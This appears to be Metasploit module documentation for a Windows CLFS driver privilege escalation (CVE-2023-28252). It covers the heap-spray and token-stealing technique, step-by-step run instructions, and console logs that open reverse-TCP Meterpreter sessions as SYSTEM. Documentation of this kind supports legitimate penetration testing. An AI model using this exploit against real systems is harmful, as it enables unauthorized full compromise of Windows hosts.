## Vulnerable Application

A privilege escalation vulnerability exists in the clfs.sys driver which comes installed by default on
Windows 10 21H2, Windows 11 21H2 and Windows Server 2022 (Build 20348) operating systems. 

The clfs.sys driver contains a function CreateLogFile that is used to create
open and edit '*.blf' (base log format) files. Inside a .blf file there are multiple blocks of data which
contain checksums to verify the integrity of the .blf file and to ensure the file looks and acts like a
.blf file. However, these files can be edited with CreateFileA or with fopen and then modified with
WriteFile or fwrite respectively in order to change the contents of the file and update their checksums accordingly.

This exploit makes use to two different kinds of specially crafted .blf files that are edited using the technique
mentioned above. There are multiple spray .blf files. The spray .blf files are specially crafted to initiate an out of
bounds read which reads from a contiguous block of memory. The block of memory it reads from contains a read-write pipe
that points to the address of the second type of .blf file - the trigger .blf file. The trigger .blf file is specially 
crafted read the SYSTEM token and write it in the process of the exploit to achieve the local privilege escalation.

The exploits creates a controlled memory space by first looping over the CreatePipe function to
to create thousands of read-write pipes (which take up 0x90 bytes of memory). It then releases a certain number of
pipes from memory and calls CreateLogFile to open the pre-existing spray .blf files which when being opened fill the
0x90 byte gaps created by the deallocation of the pipes in memory, creating the controlled memory space.

This is a very brief and high overview description of what the exploit is actually doing. For a more detailed and in
depth analysis please refer to the following [reference](https://github.com/fortra/CVE-2023-28252).

### Installation And Setup
Windows 11 versions 21H2 are vulnerable out of the box.
This exploit module has been tested on Windows 11 versions 21H2 build 22000.

## Options  

## Verification Steps

1. Start msfconsole
1. Get a Meterpreter session on a vulnerable host
1. Do: `use windows/local/cve_2023_28252_clfs_driver`
1. Set the `SESSION` and `PAYLOAD` options
1. Do: `run`
1. You should get a privileged session.

## Scenarios

### Windows Server 2022 Build 20348 x64
```
msf exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/cve_2023_28252_clfs_driver) > run

[*] Started reverse TCP handler on 172.16.199.1:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
[*] Launching msiexec to host the DLL...
[+] Process 6080 launched.
[*] Reflectively injecting the DLL into 6080...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.134
[*] Meterpreter session 11 opened (172.16.199.1:4443 -> 172.16.199.134:49864) at 2023-07-31 13:44:35 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-2EEL7BRDUD8
OS              : Windows 2016+ (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
```

### Windows 11 Version 21H2 Build 22000 x64
```
msf exploit(windows/local/cve_2023_28252_clfs_driver) > sessions -i 1
[*] Starting interaction with 1...
msf exploit(windows/local/cve_2023_28252_clfs_driver) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running windows version: 10.0.22000.0 which has a vulnerable version of clfs.sys installed by default
[*] Checking compatibility
[*] Launching netsh to host the DLL...
[+] Process 9124 launched.
[*] Reflectively injecting the DLL into 9124...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.132
[*] Meterpreter session 4 opened (172.16.199.1:4443 -> 172.16.199.132:49894) at 2023-07-31 11:24:01 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 10 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```

### Windows 10 Version 19042 x64
```
msf exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver
msf exploit(windows/local/cve_2023_28252_clfs_driver) > run

[*] Started reverse TCP handler on 172.16.199.1:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is running windows version: 10.0.19042.0 which has a vulnerable version of clfs.sys installed by default
[*] Launching netsh to host the DLL...
[+] Process 4888 launched.
[*] Reflectively injecting the DLL into 4888...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 172.16.199.131
[*] Meterpreter session 13 opened (172.16.199.1:4443 -> 172.16.199.131:49840) at 2023-07-31 14:34:37 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-8ATHH6O
OS              : Windows 10 (10.0 Build 19042).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```
